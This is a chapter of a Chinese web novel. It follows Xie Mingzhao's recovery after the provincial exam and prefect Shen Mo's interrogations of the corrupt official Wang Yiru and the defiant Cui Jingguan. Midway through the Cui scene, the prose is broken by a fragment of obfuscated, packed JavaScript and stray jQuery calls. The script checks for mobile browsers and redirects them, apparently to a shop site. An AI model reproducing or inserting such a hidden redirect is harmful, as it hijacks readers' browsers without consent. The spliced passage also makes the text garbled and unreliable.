谢明昭醒来时，已是日上三竿。她撑着依旧有些绵软的身子坐起，觉得精神比昨日好了许多，只是头还有些隐隐作痛，喉咙干涩。


    “姑娘，您醒了。”昭影一直守在门外，闻声立刻进来，手中端着温水和新熬的清粥，“先喝点水，再用些粥。”


    谢明昭就着昭影的手喝了水，感觉喉咙舒服了些，才问：“外面情形如何？”


    昭影一边服侍她用粥，一边将昨夜沈墨下令抓捕、吴庸被当场击毙、擒获一名持有“崔”字令牌的神秘文士、查封保和堂等事，择要说了。


    她略去了自己潜伏、截轿、以及促使吴庸毙命的细节，只说混战中吴庸被官兵所杀。


    谢明昭静静听着，勺子停在碗边，良久，才轻轻“嗯”了一声。


    吴庸死了，那个阴魂不散、屡次欲置她于死地的毒蛇，终于死了。心中并无快意，只有一种沉甸甸的、混杂着疲惫与后怕的释然。


    “姑娘，沈大人已将王同知请到府衙问话，此案牵连甚广，恐需些时日方能了结。”昭影低声道，“沈大人让人传话，请姑娘安心静养，一切有他。”


    谢明昭点点头，慢慢将粥吃完。自己这场院试，考得不仅仅是文章，更是一场生死劫。如今劫难暂过，但余波未平。王翌儒会如何？那个崔静观又会吐出什么？京中的崔尚书，又会作何反应？


    “昭影，”她放下碗，看向窗外明媚的春光，声音里带着一丝不易察觉的怅然，“你说，我们这条路，为何就这般难？”


    昭影沉默片刻，回道：“因为姑娘走的，是一条少有人走，也挡了别人道的路。荆棘遍地，虎狼环伺，是意料中的事。但姑娘已经闯过来了，不是吗？”


    谢明昭微微闭了闭眼，是啊，闯过来了。从清河县到青州府，从府试到院试，明枪暗箭，陷阱毒谋，她都闯过来了。身体依旧虚弱，前途依旧莫测，但心中那一点火光，却未曾熄灭。


    “收拾一下吧，”她睁开眼，目光重新变得清亮坚定，“静养归静养，书还是要温的。院试虽毕，学问之道，却无止境。况且，结果未出，尘埃未定，我们还不能放松。”


    昭影看着她苍白却沉静的侧脸，心中涌起一股难言的情绪。她重重点头：“是，姑娘。”


    ————


    另一边，青州府衙，二堂。


    此刻，堂上门窗紧闭，只有沈墨端坐主位，面色沉肃。


    堂下，王翌儒垂手而立，脸色灰败，额角冷汗涔涔，绯色官袍穿在他微微发颤的身上，显得异常刺眼。


    他被请来，名义上是商议考场后续，实则被变相软禁在府衙一处僻静厢房，无人理会，那种悬而不决的恐惧，几乎将他逼疯。


    “翌儒，”沈墨开口，声音里带着公堂之上特有的威压，“昨夜槐荫巷别院之事，你可听闻？”


    王翌儒浑身一颤，几乎站立不稳，强撑着道：“下、下官……略有耳闻，说是……有匪人啸聚，已被大人剿灭？大人神武……”


    “匪人？”沈墨打断他，从案上拿起那几本从当铺起获的密账，轻轻往前一推，“王同知，这账簿上记载的，你那些匪人同伙孝敬给你的银两，还有你托他们关照的生意，可都清楚得很。哦，还有这几封，”他又拿起那几封盖着静观私印的信，“‘静观兄’嘱咐你，务必在漕粮损耗、码头巡查验货等处，对自家往来船只予以方便……这‘静观兄’，想必你也不陌生吧？”


    王翌儒如遭雷击，瞪大眼睛看着那账簿和信件，仿佛看到了索命的无常。


    他双腿一软，“噗通”一声跪倒在地，以头抢地，涕泪横流：“大人！大人明鉴！下官……下官是一时糊涂！是被那吴庸胁迫！他、他抓了下官犬子的把柄，下官……下官不得不从啊！那些银钱，下官一分未动，都、都封存着！下官愿全部捐出，戴罪立功！求大人开恩！求大人念在下官多年为朝廷效力、没有功劳也有苦劳的份上，饶了下官这一次吧！”


    他磕头如捣蒜，官帽歪斜，涕泗糊了满脸，再无半分平日精明干练的同知威仪。


    沈墨冷眼看着他，心中并无多少波澜。王翌儒或许最初是被胁迫，但当他一次次为吴庸、为崔静观大开方便之门，收受巨额贿赂，甚至默许他们对谢明昭下手时，便已彻底沦陷，无可救药。


    “胁迫？”沈墨声音更冷，“你子犯下命案，本当伏法。你却为了一己私心，罔顾国法，与虎谋皮，戕害学子，扰乱科场！如今东窗事发，便说是一时糊涂、受人胁迫？王翌儒，你扪心自问，可对得起头上这顶乌纱，可对得起朝廷俸禄，可对得起青州百姓？！”


    王翌儒瘫软在地，面如死灰，口中只剩下无意识的“饶命”、“开恩”。


    沈墨不再看他，对侍立一旁的赵启明道：“摘去他的官帽，剥去官服，押入大牢，单独看管。没有本官手令，任何人不得探视。”


    “是！”赵启明上前，毫不客气地将王翌儒像拖死狗一样拖了起来，摘下官帽，剥去外袍。


    王翌儒仿佛失了魂，任由摆布，被两名衙役拖了下去。


    堂内恢复了寂静，只剩下那几本账簿和信件，冷冷地躺在案上。


    沈墨揉了揉眉心，疲惫感如潮水般涌上，但还有一场更硬的仗要打。他起身，对赵启明道：“去看崔静观。”


    府衙地下，幽深阴冷的地牢最深处，一间特意收拾过、还算干净的单人牢房内，崔静观靠墙坐着。


    他依旧穿着那身质地不俗的深色便服，头发梳理得一丝不苟，除了脸色略显苍白，神情竟是出奇的平静，甚至带着一丝惯有的倨傲。似乎这牢狱之灾，不过是暂时的不便。


    牢门打开，沈墨走了进来，赵启明守在门外。沈墨挥手，让原本守在牢内的两名狱卒也退了出去。


    “崔先生，”沈墨在狱卒搬来的一张椅子前坐下，与崔静观隔着牢门相对，“此处简陋，怠慢了。”


    崔静观抬眼，目光在沈墨脸上停留片刻，扯了扯嘴角，露出一丝似笑非笑的弧度：“沈知府客气。静观戴罪之身，有此一隅容身，已是知府大人开恩了。”


    沈墨微微挑眉，“戴罪之身？崔先生承认自己有罪？”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350888|191328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >崔静观轻笑一声，摇了摇头：“沈知府说笑了。静观一介布衣，来青州访友游玩，偶经那处宅院，不想竟卷入是非，被知府大人的手下不由分说锁拿至此。何罪之有？倒是知府大人，无凭无据，擅自羁押良民，恐怕于法不合吧？”


    “访友？游玩？”沈墨也从袖中取出那枚“崔”字令牌，轻轻放在两人之间的地上，“那这枚令牌，也是崔先生游玩时，不慎遗落的？”


    崔静观目光落在那令牌上，瞳孔微微收缩了一下，但随即恢复平静：“此物乃家传旧物，静观一直随身携带，把玩而已。怎么，沈知府对我崔家祖传之物，也有兴趣？”


    “祖传之物？”沈墨点点头，不置可否，又拿出那几封盖着“静观”私印、指示王翌儒行事的信件副本，“那这些信，以及保和堂胡大夫、别院护卫的供词，都指认一位崔先生是他们幕后主使，策划贩卖益智丸，控制学子，乃至意图谋害应试女童生谢明昭……莫非，都是巧合？都与你恰好在青州游玩无关？”


    崔静观面色不变，甚至微微仰起了下巴：“欲加之罪，何患无辞。几个市井小民、贪官污吏的攀咬之词，也能作为证据？沈知府是二甲进士出身，熟读律法，当知定罪需人证物证俱全，且需犯者亲口画押。单凭这些，恐怕难以服众吧？更何况，”


    他话锋一转，眼中掠过一丝意味深长的光，“静观虽不才，亦是诗礼传家。有些事，闹将起来，对谁都不好看。沈知府是聪明人，当知凡事留一线，日后好相见的道理。家叔在京中，对沈知府这样的能臣干吏，也是颇为欣赏的。”


    这已是赤裸裸的威胁与利诱。抬出崔泓，暗示此事若深究，必将引起朝堂动荡，你沈墨未必能承受后果；同时，又抛出橄榄枝，暗示若能通融，崔家不会亏待。


    沈墨静静听着，脸上没有丝毫波澜，仿佛只是在听一段与己无关的闲谈。


    待崔静观说完，他才缓缓开口，声音平静无波：“崔先生此言差矣。沈某食君之禄，忠君之事，只知依法办案，据实上奏。此案人证、物证俱全，桩桩件件，皆指向一个以你崔静观、吴庸为首，勾结地方官员王翌儒，贩卖禁药、控制学子、扰乱科场、意图戕害应试士子的团伙。事实清楚，证据确凿。至于你亲口承认与否……国法昭昭，自有公断。”


    他站起身，居高临下地看着牢中依旧强作镇定的崔静观：“你所说‘闹将起来不好看’，沈某亦知。但正因如此，才更需彻查清楚，明正典刑，以儆效尤，方能肃清科场，以正视听。至于令叔崔尚书那里，”沈墨嘴角勾起一丝极淡的弧度，“沈某的奏章，此刻想必已在送往京城的路上。是非曲直，自有圣裁。”


    说完，他不再看崔静观瞬间变得难看的脸色，转身对赵启明道：“严加看守。在他亲笔画押认罪之前，不得有任何闪失。”


    “是！”


    沈墨走出地牢，重新回到天光之下，阳光有些刺眼，他微微眯了眯眼。与崔静观的交锋，只是开始，真正的风暴，是在奏章抵达京城之后。但他心中并无畏惧，只有一片坚定。


    ————